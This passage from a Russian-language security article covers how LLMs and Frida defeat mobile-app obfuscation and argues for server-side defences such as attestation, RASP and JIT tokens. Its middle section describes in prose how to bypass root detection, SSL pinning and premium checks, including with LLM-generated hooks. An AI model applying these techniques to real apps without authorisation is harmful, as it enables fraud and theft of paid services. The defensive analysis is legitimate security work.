ющегося кризиса. Появление и широкое распространение Frida кардинально
изменило правила игры. Если раньше злоумышленник был вынужден
полагаться преимущественно на  статический анализ, то теперь он мог наб‐
людать за  поведением приложения в  реальном времени, перехватывать
вызовы методов и  извлекать данные непосредственно из  памяти. Статичес‐
кая обфускация оказалась бессильна против динамического анализа — ведь
как бы ни был запутан код, в момент выполнения он должен был «распутать‐
ся» сам для себя. А Frida просто следовала за ним.

Как отмечается в   по  мобильной безопасности, «зло‐
умышленники больше не взламывают приложения построчно. Они запускают
их, модифицируют и  используют ИИ для  обхода даже самого тщательно
обфусцированного кода». Это  наблюдение, сделанное еще  до массового
внедрения LLM в  процессы реверс‑инжиниринга, оказалось пророческим.
Статическая эпоха подходила к  концу, хотя большинство разработчиков
и  даже специалистов по  безопасности еще  не осознавали этого в  полной
мере.

одном из  отчетов

КАК LLM МЕНЯЮТ ПРАВИЛА РЕВЕРС-ИНЖИНИРИНГА

Принципиальное отличие от классических инструментов
Традиционный декомпилятор  — будь то JADX для  Android, Ghidra или  IDA
Pro — выполняет механическую трансляцию. Он берет байт‑код (или машин‐
ный код) и  по фиксированному набору правил преобразует его в  некое
подобие исходного кода. Если метод в байт‑коде называется , то и в деком‐
пилированном коде он останется . Если обфускатор заменил осмысленную

последовательность инструкций запутанным лабиринтом из   и  ,

декомпилятор честно воспроизведет этот лабиринт. Проблема в том, что он
не понимает, что именно он декомпилирует. Он синтаксический, но не семан‐
тический.

a
a

goto switch

LLM работает иначе. Языковая модель, обученная на  миллиардах строк
кода, документации и  технических текстов, способна на  то, что исследова‐
тели называют «семантическим восстановлением». Как  отмечается в  одной
из  недавних работ,  на  конференции SANER 2026, LLM спо‐
собны «восстанавливать исходную семантику обфусцированных прог‐
рамм»  — задача, которая долгое время считалась практически нераз‐
решимой для автоматизированных инструментов.

представленных

Представь, что видишь в декомпилированном коде вызов метода ,

который принимает на вход строку, обращается к некоему хранилищу и воз‐
вращает булево значение.

a.b(c)

Традиционный декомпилятор так и покажет . LLM, проанализировав

контекст — что этот метод вызывается перед выполнением критической опе‐
рации, что он обращается к   или  , что его
результат используется в условном операторе, управляющем доступом к пла‐
тежной функции,  — способна предположить, что на  самом деле
это  . Более того, модель может сге‐

нерировать комментарий, объясняющий логику проверки, и даже предложить
способ ее обхода.

a.b(c)

SharedPreferences KeyStore

UserDatabase.authenticate(password)

Это не магия и не идеальный инструмент (галлюцинации LLM — серьезная
проблема, о  которой мы поговорим отдельно), но  это принципиально иной
уровень анализа. LLM «достраивает смысл поверх мусорного кода»  —
используя свою способность к  распознаванию образов и  статистическому
выводу, модель реконструирует то, что было намеренно уничтожено обфуска‐
тором.

Исследователи из проекта LLM4CodeRE, одного из наиболее продвинутых
фреймворков 2026 года,  эту идею предельно четко: их сис‐
тема поддерживает «двунаправленный реверс‑инжиниринг кода, который
включает как декомпиляцию из ассемблера в исходный код, так и трансляцию
из исходного кода в ассемблер в рамках единой модели». Это означает, что
LLM не  просто «читает» код,  — она «понимает» его на  уровне, достаточном
для  того, чтобы восстанавливать утраченные связи между высокоуровневой
логикой и ее низкоуровневой реализацией.

сформулировали

Передовые инструменты — от академических работ к практике
Технология не  осталась в  стенах исследовательских лабораторий. Уже
к  2025–2026  годам появился целый спектр инструментов, делающих
реверс‑инжиниринг с ИИ доступным для широкого круга специалистов.

LLM4Decompile
  — это  первая и  крупнейшая открытая LLM, специально обу‐

ченная для  декомпиляции бинарного кода. Модель существует в  вариантах
от  1.3B до  33B параметров и  обучена на  датасете из  двух миллионов пар
«бинарный код  — исходный код». Результаты впечатляют: по  показателю
«переисполнимости» (re-executability rate)  — то есть способности сгенери‐
ровать код, который можно скомпилировать и  запустить с  сохранением
исходного поведения, — LLM4Decompile превосходит и GPT, и Ghidra — один
из лучших традиционных декомпиляторов. Важно подчеркнуть: речь не о том,
чтобы «красиво отформатировать» ассемблер, а о восстановлении действи‐
тельно работоспособного кода.

LLM4Decompile

Google CASCADE
Если LLM4Decompile — это академический прорыв, то CASCADE — это про‐
мышленное внедрение. Google разработала гибридную систему, объеди‐
няющую возможности своей флагманской LLM Gemini с  детерминирован‐
ными трансформациями на  уровне промежуточного представления ком‐
пилятора (JSIR).

CASCADE нацелен на деобфускацию JavaScript — языка, который домини‐
рует в  веб‑разработке и  широко используется злоумышленниками
для  обфускации вредоносного кода. Система работает так: сначала Gemini
идентифицирует так называемые prelude functions  — ключевые компоненты,
лежащие в  основе наиболее распространенных техник обфускации (нап‐
ример, ). Затем JSIR выполняет детерминированные трансфор‐
мации для  восстановления оригинальных строк, имен API и  раскрытия
исходного поведения программы.

Obfuscator.IO

Ключевой момент: CASCADE, по  заявлению разработчиков, «уже раз‐
вернут в производственной среде Google, демонстрируя существенное улуч‐
шение эффективности деобфускации JavaScript и  снижая усилия
на реверс‑инжиниринг».

LLM4CodeRE
Этот фреймворк, представленный в апреле 2026 года, идет еще дальше. Он
не  просто декомпилирует код  — он адаптирован специально для  анализа
вредоносного ПО, которое часто использует «изощренные техники обфуска‐
ции». LLM4CodeRE использует два комплементарных подхода к дообучению:
Multi-Adapter для  выравнивания синтаксиса и  семантики и  Seq2Seq Unified
для  сквозного контроля генерации. Экспериментальные результаты, если
судить по  отчетам, показывают, что LLM4CodeRE «превосходит существу‐
ющие инструменты декомпиляции и общецелевые кодовые модели, демонс‐
трируя надежную двунаправленную обобщающую способность».

Androidmeda и Deobfuscate-android-app
Эти опенсорсные инструменты делают ИИ‑деобфускацию доступной любому
реверс‑инженеру, работающему с  Android.   — это  LLM-инстру‐
мент, который «анализирует декомпилированный исходный код Android
для  выявления обфусцированных паттернов, предлагает более читаемые
имена для переменных, методов и классов и в конечном счете обеспечивает
более ясное понимание логики приложения».

Androidmeda

Инструмент поддерживает как  облачные API (OpenAI, Gemini, Anthropic),
так и локальные модели через Ollama, что решает проблему конфиденциаль‐
ности — чувствительный код не покидает машину аналитика.

  — это  написанный на  Python инструмент,

который, как сказано в документации, «извлекает контекстуальные фрагменты
кода из  APK и  отправляет их подключенной LLM, которая предлагает более
осмысленные идентификаторы на  основе своих обучающих данных и  рас‐
познавания паттернов».

Deobfuscate-android-app

Исследователи из FuzzingLabs протестировали этот инструмент на реаль‐
ных вредоносных приложениях (включая малварь GodFather) с использовани‐
ем как  локальных, так и  облачных моделей, и  результаты подтвердили его
эффективность в восстановлении читаемой бизнес‑логики.

JADX MCP и Ghidra MCP
Важнейший тренд  2025–2026  годов  — глубокая интеграция LLM с  традици‐
онными инструментами реверс‑инжиниринга через Model Context Protocol
(MCP). JADX MCP Server  — это  написанный на  Python сервер, который поз‐
воляет LLM (таким как  Claude) анализировать декомпилированный код
Android APK в  реальном времени, предоставляя функции обнаружения уяз‐
вимостей, понимания кода и другие возможности реверс‑инжиниринга.

Аналогичные  существуют для Ghidra, IDA Pro, Binary Ninja — всех
основных инструментов индустрии. Это  значит, что реверс‑инженер может,
не покидая привычной среды, попросить LLM: «Объясни, что делает эта фун‐
кция», «Найди все места, где используется шифрование», «Предложи,
как обойти эту проверку».

плагины

Ai-chat-frida
Это, пожалуй, наиболее яркий пример того, как LLM и динамическая инстру‐
ментация объединяются в  один инструмент. Платформа   —
это  «интеллектуальная платформа генерации и  выполнения Frida-скриптов,
которая через взаимодействие на  естественном языке автоматически
генерирует профессиональные Frida-скрипты, реализуя динамический анализ
Android- и  iOS-приложений, обход Root-детектирования, обход SSL-сер‐
тификатов и другие функции тестирования безопасности».

ai-chat-frida

Пользователь может написать: «Обойди проверку root в  этом приложе‐
нии», и  система сгенерирует, выполнит и  при необходимости отладит соот‐
ветствующий Frida-скрипт. Поддерживается автоматическое исправление
ошибок  — если скрипт не  сработал, ИИ анализирует логи и  генерирует
исправленную версию.

Автоматизация деобфускации. Что именно LLM восстанавливает?
Чтобы понять практическую ценность LLM для  реверс‑инженера, полезно
составить конкретный перечень того, что модель способна восстановить
автоматически. Согласно анализу репозитория awesome-llm-reverse-
engineering, современные LLM могут:

восстанавливать имена функций и  типы переменных  — даже когда
обфускатор заменил их бессмысленными , , ;

•
a b c

суммаризировать целые бинарные файлы  — давать высокоуровневое
описание того, что делает программа, не требуя построчного анализа;

•

декомпилировать машинный код обратно в  C-подобный исходный код  —
с  качеством, сопоставимым с  результатами традиционных декомпилято‐
ров или превосходящим их.

•

Более детально — LLM демонстрируют впечатляющие способности в восста‐
новлении следующих вещей:

 Даже в сильно обфусцированном коде можно

распознать признаки MVVM, Clean Architecture, паттернов Repository
или Factory. LLM, обученная на огромном количестве реального кода, спо‐
собна находить эти паттерны по  косвенным признакам  — структуре
вызовов, типам параметров, взаимодействию с Android Framework.

• Архитектурные паттерны.

 Когда модель видит
последовательность вызовов , ,

, она понимает, что это шифрование, даже если име‐
на методов обфусцированы. Более того, она может определить, какой
именно алгоритм используется (AES, RSA и  так далее) и  где, вероятно,
находятся ключи.

• Схемы шифрования и  работы с  криптографией.

Cipher.getInstance() Cipher.init()
Cipher.doFinal()

 Паттерны обращений

к  ,  для  хранения токенов, пос‐
ледовательности проверок перед  выполнением чувствительных опе‐
раций — все это LLM способна идентифицировать и объяснить.

• Логика авторизации и  аутентификации.

AccountManager SharedPreferences

 LLM может распознать код,

который проверяет наличие трассировки, пытается обнаружить Frida, про‐
веряет целостность подписи. Более того, она способна предложить спо‐
собы обхода этих проверок.

• Антиотладочные и  антихуковые паттерны.

Исследование, представленное на конференции SANER 2026, дает количес‐
твенную оценку этим возможностям. На  датасете из  857  обфусцированных
ProGuard Java-семплов исследователи обнаружили, что «функциональная
или структурная деградация произошла примерно в 32% базовых выводов».
Однако после применения «прогрессивно ограниченных промптов (V1 — V3),
разработанных для  сохранения сигнатур API, потока управления и  семан‐
тической целостности», доля низкокачественных выводов уменьшилась
со 100% до 34,9% на целевом подмножестве — относительное сокращение
примерно на 65%.

Глобально по  всему датасету доля низкокачественных семплов умень‐
шилась с 30% до 18% — относительное сокращение около 40%. Эти цифры
подтверждают: LLM не просто «что‑то угадывают» — при правильном подходе
они демонстрируют статистически значимое улучшение качества восстанов‐
ления кода.

Проблемы и ограничения (объективности ради)
Было  бы нечестно представлять LLM как  серебряную пулю, решающую все
проблемы реверс‑инжиниринга. У  технологии есть серьезные ограничения,
которые необходимо учитывать.

 LLM  — это  вероятностные модели, а  не

детерминированные алгоритмы. Они могут «придумать» несуществующий
API, изобрести переменную, которой нет в коде, или неверно интерпретиро‐
вать логику функции. Как  показывает практика, LLM генерируют код экспло‐
ита, который выглядит правильным, но  не запускается, используют API,
которых не  существует (frida.hooks.Hook), изобретают структуры ядра и  сис‐
темные вызовы. Это значит, что вывод LLM всегда требует верификации.

Галлюцинации и  ошибки.

 Исследование, представленное

на  SANER 2026, показало, что «промпт‑уровневые структурные ограничения
сами по себе могут заметно повысить точность и связность восстановления».
Иными словами, чтобы получить хороший результат, нужно уметь правильно
спрашивать. Неумелый промпт может привести к плохому или даже вредному
выводу.

Зависимость от  качества промпта.

 Даже у  самых продвинутых

моделей есть ограничения на  объем обрабатываемого за  раз текста. Боль‐
шое приложение с тысячами классов невозможно «скормить» LLM целиком —
приходится работать фрагментами, из‑за чего модель может терять глобаль‐
ный контекст.

Ограниченность контекстного окна.

 Отправка декомпилированного

кода в  облачные API (OpenAI, Anthropic, Google) означает, что конфиден‐
циальный код покидает контролируемую среду. Это  может нарушать NDA,
политики безопасности компании или  даже законодательство. Исполь‐
зование локальных моделей через Ollama решает эту проблему, но локальные
модели обычно уступают по качеству облачным.

Проблемы конфиденциальности.

  Promon за  первый квар‐

тал  2026  года подчеркивает важный нюанс: «инструменты AI-деобфускации
уже несут встроенный уровень ошибок даже на  чистом коде, и  этот уровень
усугубляется обфускацией, делая позицию атакующего гораздо слабее, чем
предполагают заголовочные цифры». Это  означает, что LLM не  «ломают»
обфускацию автоматически и гарантированно — они лишь дают атакующему
значительное преимущество, но не отменяют необходимость в экспертизе.

Встроенная частота ошибок. Отчет

Тем не менее, несмотря на все эти ограничения, LLM радикально снизили
порог входа в  реверс‑инжиниринг и  кратно ускорили работу даже опытных
специалистов. Если раньше на  восстановление смысла обфусцированной
функции мог уйти день, то теперь — час или даже минуты. И это меняет все.
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FRIDA + AI = ИДЕАЛЬНЫЙ ШТОРМ

Что такое Frida и почему она стала де-факто стандартом
Если LLM — это «мозг» новой парадигмы реверс‑инжиниринга, то Frida — ее
«глаза и  руки». Frida  — это  динамический инструментальный фреймворк,
который позволяет внедрять код на  JavaScript в  работающий процесс
и  модифицировать его поведение на  лету, без  необходимости переком‐
пилировать или  патчить бинарный файл. По  сути, это  «швейцарский нож»
для анализа мобильных приложений, десктопного ПО и даже встроенных сис‐
тем.

Frida состоит из  клиентской и  серверной частей. На  целевом устройстве
(будь то Android-смартфон, iPhone или  эмулятор) запускается 

  — небольшой демон, который ожидает подключения от  клиента.

С  рабочей станции аналитик подключается к  серверу и  внедряет в  целевой
процесс JavaScript-движок V8 (тот самый, что работает в Chrome). После это‐
го весь код Frida-скриптов выполняется непосредственно внутри адресного
пространства приложения с теми же привилегиями, что и сам анализируемый
процесс.

frida-
server

Ключевое преимущество Frida  — ее кросс‑платформенность. Один и  тот
же инструментарий работает на  Android, iOS, Windows, macOS, Linux и  даже
QNX (операционная система реального времени, используемая в автомоби‐
лях и  промышленных контроллерах). Это  означает, что специалист, осво‐
ивший Frida для  анализа Android-приложений, может с  минимальной адап‐
тацией применять те же техники к iOS или десктопным программам.

Возможности фреймворка выходят далеко за  рамки простого перехвата
вызовов. С помощью Frida можно:

  — как  Java/Kotlin на  Android через ART-

рантайм, так и нативные функции в C/C++ через динамическую линковку.
Можно перехватывать конструкторы, перегруженные методы, статические
и экземплярные вызовы — буквально все, что выполняется в процессе;

• перехватывать любые методы

  — не  просто

наблюдать за  тем, что передается в  функцию, а  подменять аргументы
или результат на лету;

• модифицировать параметры и возвращаемые значения

 — отслеживать вызовы ,

,  и  извлекать ключи шифрования
в открытом виде прямо в момент их использования;

• трассировать криптооперации Cipher.init()
Mac.doFinal() KeyStore.getKey()

 — перехватывать и модифицировать проверки сер‐

тификатов, что позволяет анализировать зашифрованный HTTPS-трафик
через прокси вроде Burp Suite или mitmproxy;

• обходить SSL pinning

 — заставлять приложение

считать, что оно работает на чистом, нерутованном устройстве, даже если
на самом деле запущено в полностью контролируемой среде;

• обходить антирут- и антиэмулятор‑проверки

  — читать и  записывать произвольные
участки памяти процесса, что особенно полезно при  анализе нативных
библиотек или поиске секретов.

• работать с  памятью напрямую

Frida постоянно эволюционирует. В  марте  2026  года вышел релиз  17.8.0,
который добавил встроенный трассировщик системных вызовов (

) — функцию, позволяющую наблюдать за всеми системными вызова‐

ми внутри целевого процесса. Это критически важно для анализа защищен‐
ных приложений: иногда полезно наблюдать за  системными вызовами, про‐
исходящими внутри целевого процесса. Особенно если цель включает
механизмы обнаружения Frida, root-детектирования или  любые другие виды
Runtime Application Self-Protection (RASP).

syscall
tracer

Почему Frida стала стандартом де‑факто в  индустрии? Во‑первых, она
бесплатна и  имеет открытый исходный код. Во‑вторых, ее сообщество соз‐
дало колоссальную экосистему скриптов и  надстроек  — от  готовых инстру‐
ментов для обхода защиты до полноценных фреймворков для автоматизиро‐
ванного тестирования. В‑третьих, Frida не требует модификации APK или IPA-
файла: все взаимодействие происходит в рантайме, что сохраняет исходную
подпись приложения и обходит многие проверки целостности.

Практический арсенал Frida
Теория хороша, но реальную мощь Frida лучше всего иллюстрируют конкрет‐
ные примеры. Рассмотрим несколько типичных сценариев, с которыми стал‐
киваются пентестеры в реальной работе.

 Один из  самых частых кейсов  — приложение
отказывается запускаться на  рутованном устройстве. В  блоге Prism Infosec

 реальный случай: во  время пентеста приложение не  запускалось,
а стандартные методы обхода не срабатывали. Аналитики декомпилировали
APK с помощью JADX, нашли два класса, отвечающих за детектирование рута,
и написали Frida-скрипт, который просто заставлял методы 

 и   всегда возвращать . Результат: с  запущенным

скриптом приложение запускалось без нареканий.

Обход Root Detection.

описан

isDeviceRooted(
) isJailBroken() false

 В другом кейсе приложе‐

ние отправляло на  сервер зашифрованное значение счета пользователя
в викторине. С помощью Frida аналитики нашли метод, отвечающий за шиф‐
рование счета, и  модифицировали его так, чтобы перед  шифрованием зна‐
чение подменялось на  100  миллионов. Сервер безоговорочно принял
это значение, что доказывало полное отсутствие серверной валидации.

Модификация бизнес‑логики на клиенте.

 В приложении для iOS определенный виде‐
оконтент был заблокирован платным доступом. Скрипт для  Frida перех‐
ватывал метод, проверяющий наличие премиум‑подписки, и  всегда возвра‐
щал  — весь контент становился доступен бесплатно.

Обход премиум‑функций.

true
Важно отметить: Frida работает не  только на  рутованных устройствах.

Существует техника инжектирования Frida Gadget  — небольшой динамичес‐
кой библиотеки, которая встраивается непосредственно в  APK или  IPA
при переподписывании приложения. Это позволяет проводить динамический
анализ даже на  обычных, нерутованных устройствах. Именно так работает
Objection — популярный рантайм‑инструментарий для исследования мобиль‐
ных приложений на базе Frida.

 предоставляет интуитивный REPL-интерфейс, позволяющий
выполнять любое действие, которое может выполнить приложение, — от дос‐
тупа к файловой системе контейнера до интерактивной работы с базами дан‐
ных SQLite и  дампа памяти. По  сути, Objection делает Frida доступной даже
для тех, кто не пишет JavaScript-скрипты с нуля.

Objection

Почему Frida — идеальный партнер для LLM
Теперь перейдем к главному: почему связка Frida и LLM так сильна и на корню
подрубает классическую защиту.

 LLM великолепно анализирует ста‐

тический код, но она не может «видеть», что происходит в реальном времени.
Frida предоставляет этот недостающий сенсорный слой: она логирует вызовы
методов, перехватывает параметры, отслеживает состояние памяти — и все
это в машиночитаемом формате (JSON/JavaScript).

Frida дает LLM «глаза и  руки».

LLM получает не абстрактный байт‑код, а конкретные данные: «вот метод
 был вызван с параметром  и вернул ». Это именно

тот контекст, который нужен модели для  семантического восстановления
логики.

a.b(c) password123 true

 Это, пожалуй, самый революционный аспект симбиоза. Традици‐

онно написание хуков для  Frida требовало от  аналитика ручного поиска
целевых методов в декомпилированном коде. В обфусцированном приложе‐
нии это означало часы блуждания по классам  и  . LLM меняет пра‐

вила игры: она способна по контексту использования понять, что метод 

 — это проверка рута, и сгенерировать готовый Frida-скрипт, который его
перехватывает.

LLM генерирует Frida-скрипты по  обфусцированным сиг‐

натурам.

a.a.a b.c.d
a.b(

c)

Сегодня существуют специализированные тренинги, обучающие именно
этому: «автоматизировать и ускорять реверс‑инжиниринг Android с помощью
AI/LLM... использовать AI для  генерации Frida-скриптов, фаззинг‑харнессов
и аннотированного декомпилированного кода». На практике это выглядит так:
аналитик дает LLM фрагмент обфусцированного кода и говорит «сгенерируй
Frida-хук для  этого метода». Модель возвращает готовый JavaScript-код,
который можно немедленно выполнить.

 Современные приложения

активно защищаются от  самой Frida  — проверяют наличие 

в процессах, сканируют порты, ищут характерные строки в памяти. LLM, обу‐
ченная на известных паттернах анти-Frida-проверок, способна не только рас‐
познать эти защиты в  коде, но  и предложить способы обхода. В  арсенале
сообщества уже есть готовые скрипты, такие как FridaBypassKit, который ком‐
плексно обходит root-детектирование, SSL pinning, детектирование эмулято‐
ра и  антиотладочные проверки. LLM может адаптировать подобные скрипты
под  конкретное приложение, генерируя кастомные хуки под  уникальные
реализации защит.

LLM помогает обходить защиты от Frida.

frida-server

 Возможно, самый мощный сценарий  —

это  итеративный цикл «запуск скрипта → ошибка → анализ логов LLM →
исправленный скрипт». Аналитик запускает сгенерированный нейронкой
Frida-хук, получает ошибку (например, приложение крашнулось из‑за неп‐
равильной сигнатуры метода), отдает лог обратно LLM, и модель предлагает
исправленную версию. Этот цикл может повторяться до  полной работос‐
пособности скрипта, причем время каждой итерации измеряется минутами,
а не часами.

Интерактивное улучшение.

Инструменты нового поколения
Применять связку из Frida и LLM уже может каждый реверс‑инженрер. Давай
посмотрим, как именно.

Ya Frida
Это, пожалуй, наиболее зрелый на  сегодняшний день production-ready-мост
между AI-агентами и  Frida. Ya Frida предоставляет полнофункциональный
Model Context Protocol (MCP) сервер, который «построен с нуля как всеобъ‐
емлющий, готовый к  продакшену мост между AI-агентами и  Frida, предлага‐
ющий обширные возможности для  управления устройствами, контроля про‐
цессов, инжекции скриптов, операций с  памятью и  интеграции с  ADB
из  коробки». Сервер предоставляет  59 MCP-инструментов в  семи катего‐
риях, и все они возвращают структурированный JSON для минимального пот‐
ребления токенов и бесшовной интеграции с LLM.

Frida MCP
Это ИИ‑ориентированный инструмент динамического анализа Android,
который применяется для прямого управления Frida. Эта интеграция облегча‐
ет автоматизированный анализ, инъекцию скриптов, контроль приложений
и извлечение результатов, упрощая сложные задачи, такие как хукинг функций
или анализ VM-защищенного кода.

IL2CPP Frida MCP
Специализированный инструмент для  реверс‑инжиниринга Unity-игр. Он
интегрирует Frida и функции анализа IL2CPP-рантайма через протокол MCP,
позволяя ИИ взаимодействовать с игровым процессом так же, как это делает
человек  — реверс‑инженер. LLM может напрямую искать классы и  функции
в работающей игре и даже модифицировать ее поведение.

FridaGPT
Специализированный ассистент для  написания Frida-скриптов, заточенный
именно под нужды реверс‑инженеров.

Frida Script Runner (FSR)
Инструмент, разработанный с  ориентиром на  повышение продуктивности
аналитиков. FSR принимает на  вход описание цели на  естественном языке
и генерирует готовый к выполнению скрипт Frida.

Масштабируемость атаки — от единичных целей к массовому
анализу
Симбиоз Frida и  LLM кардинально меняет экономику атаки. Раньше пол‐
ноценный реверс‑инжиниринг защищенного мобильного приложения был
кропотливой работой, требующей высокой квалификации и  значительного
времени. Сегодня, с инструментами вроде Ya Frida и LLM-ассистентами, один
подготовленный специалист может анализировать десятки приложений
в месяц.

Это значит, что модель угроз становится массовой, а  не точечной. Зло‐
умышленнику больше не нужно выбирать, какое приложение атаковать, исхо‐
дя из  соотношения «затраты на  реверс / потенциальная выгода». Если сто‐
имость анализа падает с недель до часов, атакующий может позволить себе
проанализировать десятки или сотни приложений в поисках уязвимых мест.

Данные подтверждают этот тренд. Согласно исследованию, проанализи‐
ровавшему более  500  тысяч APK из  Google Play за  восьмилетний период,
распространенность обфускации неуклонно росла — но одновременно рос‐
ло и  разнообразие инструментов для  ее преодоления. В  2026  году мы
находимся в точке перелома, где затраты на атаку падают быстрее, чем рас‐
тет сложность защиты.

НОВАЯ ПАРАДИГМА ЗАЩИТЫ

Архитектурное ограничение обфускации
Фундаментальная проблема любой статической обфускации заключается
в  простом, но  неустранимом противоречии: 

. Обфускатор

может переименовать методы, запутать поток управления, зашифровать
строки и даже виртуализировать целые участки кода — но в тот момент, когда
приложение запускается на  устройстве пользователя, процессор (или вир‐
туальная машина) все равно должен исполнить каждую инструкцию. А значит,
каждую инструкцию можно перехватить, проанализировать и понять.

код, который должен быть

выполнен, не  может оставаться полностью скрытым

Это архитектурное ограничение не  зависит от  изощренности обфуска‐
тора. DexGuard, DexProtector, Obfuscator-LLVM — все они работают в рамках
одной модели: «запутать код до состояния, когда его ручной анализ становит‐
ся экономически нецелесообразным». Но  как только в  уравнение входит
динамическая инструментация (Frida) и  семантический анализ (LLM), эко‐
номика ломается.

Возьмем конкретный пример: шифрование строк. В классической модели
злоумышленник должен был вручную найти метод расшифровки, проанализи‐
ровать алгоритм, извлечь ключ и  применить его ко  всем зашифрованным
строкам в бинарном файле. Это часы работы.

Скрипт для Frida может перехватить вызов метода расшифровки в момент
его выполнения и  просто вывести расшифрованную строку в  консоль. LLM,
проанализировав статический код, может даже предложить, какой именно
метод хукать, сгенерировать готовый скрипт и  объяснить, почему выбран
именно этот метод. Время решения задачи сокращается с часов до минут.

То же самое касается обфускации потока управления. Control-flow
flattening превращает линейный код в лабиринт из switch-блоков и  , делая
его практически нечитаемым для  человека. Но  для Frida это  не имеет зна‐
чения: она хукает не  исходную структуру, а  конечные точки  — вызовы API,
криптографические операции, сетевые запросы. Языковая модель, получив
на  вход дамп таких вызовов, способна реконструировать высокоуровневую
логику, даже не заглядывая в запутанный контрольный граф.

goto

Защита уходит с клиента на сервер
Осознание того, что статическая обфускация больше не является эффектив‐
ным барьером, заставляет индустрию пересматривать саму философию
защиты мобильных приложений. Ключевой принцип, который раньше был
скорее рекомендацией, сегодня становится абсолютным императивом: 

.

«не

доверяй клиенту»

В  2026  году это  правило должно восприниматься буквально. Клиентское
устройство — будь то смартфон, планшет или эмулятор — находится под пол‐
ным контролем атакующего. Root-доступ, jailbreak, Magisk-модули, кастомные
прошивки, эмуляторы с  инструментацией на  уровне гипервизора  — все
это  инструменты, доступные любому мотивированному злоумышленнику.
В  таких условиях любая проверка, выполняемая исключительно на  клиенте,
обходится без проблем.

Ответ индустрии  —  и 
.

рантайм‑контроллинг аттестация среды

исполнения

  — это  класс технологий,

которые не  пытаются спрятать код, а  вместо этого мониторят среду выпол‐
нения и  реагируют на  признаки атаки в  реальном времени. RASP-решения
могут:

RASP (Runtime Application Self-Protection)

обнаруживать подключение отладчика или инструментацию (Frida, Magisk,
Xposed);

•

проверять целостность кода и ресурсов приложения в памяти;•
выявлять аномалии в  поведении (например, слишком быстрые клики,
характерные для ботов);

•

при обнаружении угрозы  — завершать процесс, удалять чувствительные
данные из памяти или даже сообщать на сервер о компрометации.

•

Да, опытный атакующий с LLM и Frida все равно сможет обойти RASP-провер‐
ки — как мы видели в предыдущих разделах, ИИ отлично справляется с рас‐
познаванием и  нейтрализацией таких защит. Но  RASP поднимает планку и,
что критически важно, дает защитнику телеметрию. Сервер может узнать, что
конкретный клиент пытается обойти защиту, и принять меры — заблокировать
сессию, отозвать токены, пометить аккаунт как подозрительный.

  — еще  один важный элемент новой парадигмы.

Это  механизмы, позволяющие серверу убедиться, что запрос приходит
от  легитимного неизмененного экземпляра приложения, работающего
на  реальном нескомпрометированном устройстве. На  Android это  SafetyNet
Attestation API (постепенно заменяемый Play Integrity API), на  iOS  —
DeviceCheck и App Attest. Эти сервисы используют аппаратные возможности
устройства (Trusted Execution Environment, Secure Enclave) для  генерации
криптографических доказательств целостности среды.

Device Attestation

Конечно, и эти механизмы не абсолютны. Существуют методы обхода Play
Integrity на  рутованных устройствах с  помощью модулей Magisk. Но, как  и
в  случае с  RASP, цель не  в создании непробиваемой стены, а  в повышении
стоимости атаки и получении сигналов о компрометации.

JIT-ТОКЕНЫ: ОТ СТАТИЧЕСКИХ СЕКРЕТОВ К ОДНОРАЗОВЫМ
ПРОПУСКАМ

Концепция just-in-time (JIT) токенов
В предыдущих разделах мы установили фундаментальный принцип: клиент‐
ский код полностью контролируется атакующим. Из  этого следует неиз‐
бежный вывод — любой секрет, помещенный в клиентское приложение, будет
найден и извлечен.

Под «статическими секретами» понимаются любые долгоживущие кон‐
фиденциальные данные, встроенные в приложение или сохраняемые им:

  — строки, зашитые прямо в  код (даже обфусци‐

рованные). Frida-хук на  метод расшифровки строк выдаст их в  открытом
виде;

• hardcoded API-ключи

  — токены доступа с  временем жизни в  дни,
недели или  месяцы. Попав в  руки злоумышленника, они дают ему окно
возможностей на весь срок действия;

• длительные JWT-токены

  — особенно опасная категория. Если refresh-
токен не имеет механизма ротации или живет слишком долго, его компро‐
метация равносильна полной потере аккаунта;

• «вечные» refresh-токены

 — симметричные ключи шифрования, хардко‐

женные в  приложении для  «защиты» данных. Извлечение такого ключа
компрометирует все данные, когда‑либо зашифрованные с его помощью.

• криптографические ключи

Статический секрет — это подарок для атакующего, вооруженного современ‐
ным инструментарием. Как  мы видели в  разделе про  Frida, перехват вызова

 выдает ключ шифрования в  чистом виде. Просмотр

SharedPreferences через Objection показывает сохраненные токены. LLM,
проанализировав код, укажет точное место, где хранится секрет, и  способ
его извлечь.

Cipher.init()

Ответом на  проблему статических секретов становится принципиально
иной подход к авторизации и управлению доступом — 

.

токены just-in-time

(JIT)

Идея проста и элегантна: токен доступа не хранится в приложении долго,
а выдается сервером непосредственно перед выполнением конкретной опе‐
рации и на очень короткое время. После использования или истечения срока
жизни (TTL) токен становится невалидным. В  идеальной реализации JIT-
токен:

имеет  — от нескольких секунд до нескольких

минут;

• минимальное время жизни

обладает  — дает доступ только к одному конкретному эндпо‐

инту или даже одной конкретной операции;

• узким scope

 — устройству, сессии, одноразовому nonce;• привязан к контексту

 — не может быть использован повторно.• одноразовый

Типичная архитектура с JIT-токенами выглядит так:
1. Пользователь аутентифицируется (например, через биометрию или логин/

пароль), получая 

 (он дает право только запрашивать JIT-токены, но  не выпол‐

нять бизнес‑операции).

долгоживущий, но строго ограниченный токен аутен‐

тификации

2. Перед выполнением критической операции (платеж, изменение настроек,
доступ к  конфиденциальным данным) клиент отправляет запрос на  спе‐
циальный эндпоинт: «Выдай JIT-токен для операции X».

3. Сервер проверяет аутентификацию, контекст устройства, бизнес‑правила
и, если все в порядке, генерирует JIT-токен с TTL в 30–60 с.

4. Клиент немедленно использует этот JIT-токен для  выполнения целевой
операции.

5. Токен истекает автоматически, даже если клиент его не использовал.

Почему JIT-токены выдерживают атаку LLM + Frida
Критический вопрос: если атакующий полностью контролирует клиентское
приложение и может перехватывать любые вызовы Frida, разве он не сможет
просто перехватить JIT-токен в  момент его получения и  использовать его
в своих целях?

Сможет. Но именно здесь вступает в игру фактор времени и контекстной
привязки.

Предположим, атакующий перехватил JIT-токен с  временем жизни  30  с.
Чтобы злоупотребить им, ему нужно:
1. Распознать среди тысяч вызовов Frida момент получения JIT-токена.
2. Извлечь токен из памяти или сетевого трафика.
3. Составить и  отправить свой собственный запрос к  целевому эндпоинту

с этим токеном.

Даже при полной автоматизации через LLM и Frida это требует времени. Ата‐
кующий должен написать и  отладить скрипт, который не  просто логирует
токен, а  немедленно пересылает его на  сервер злоумышленника и  ини‐
циирует мошенническую операцию. Пока он это делает, 30 с истекают.

Более того, грамотно спроектированный JIT-токен привязан к  контексту,
который атакующий не может легко подделать:

 — токен валиден только для того же device ID, который его

запросил. Атакующий может подменить device ID в своем скрипте, но сер‐
вер увидит несоответствие.

• Device binding

